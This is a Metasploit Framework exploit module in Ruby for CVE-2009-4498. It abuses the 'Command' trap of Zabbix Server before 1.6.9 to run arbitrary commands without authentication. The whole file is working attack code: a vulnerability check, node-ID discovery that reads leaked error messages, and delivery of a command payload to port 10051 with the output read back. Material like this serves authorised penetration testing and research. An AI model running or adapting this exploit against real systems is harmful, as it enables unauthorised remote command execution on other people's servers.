##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Zabbix Server Arbitrary Command Execution',
'Description' => %q{
This module abuses the "Command" trap in Zabbix Server to execute arbitrary
commands without authentication. By default the Node ID "0" is used, if it doesn't
work, the Node ID is leaked from the error message and exploitation retried.
According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
},
'Author' =>
[
'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-4498' ],
[ 'OSVDB', '60965' ],
[ 'BID', '37989' ],
[ 'EDB', '10432' ],
[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet',
# *_perl, *_python and *_ruby work if they are installed
}
},
'Targets' =>
[
[ 'Zabbix 1.6.7', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 10 2009'
))
register_options(
[
Opt::RPORT(10051),
], self.class)
end
def send_command(sock, node_id, cmd)
host_id = Rex::Text.rand_text_numeric(3)
msg = "Command\255"
msg << "#{node_id}\255"
msg << "#{host_id}\255"
msg << "#{cmd}\n"
sock.put(msg)
res = sock.get_once
return res
end
def check
peer = "#{rhost}:#{rport}"
node_id = 0
clue = Rex::Text.rand_text_alpha(rand(5)+5)
cmd = "echo #{clue}"
connect
print_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect
if res
print_status(res)
if res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
elsif res =~ /-1/ and res=~ /NODE (\d*)/
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
else
return Exploit::CheckCode::Safe
end
else # No response
return Exploit::CheckCode::Safe
end
# Retry with the good node_id
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
if res and res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
peer = "#{rhost}:#{rport}"
node_id = 0
cmd = payload.encoded
connect
print_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect
if res and res =~ /-1/ and res=~ /NODE (\d*)/
# Retry with the good node_id
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
end
# Read command output from socket if cmd/unix/generic payload was used
if (datastore['CMD'])
if res and res =~ /\x30\xad/
print_good("#{peer} - Command executed successfully")
print_status("Output:\n#{res.split("\x30\xad").last}")
else
print_error("#{peer} - Failed to execute the command")
end
end
end
end
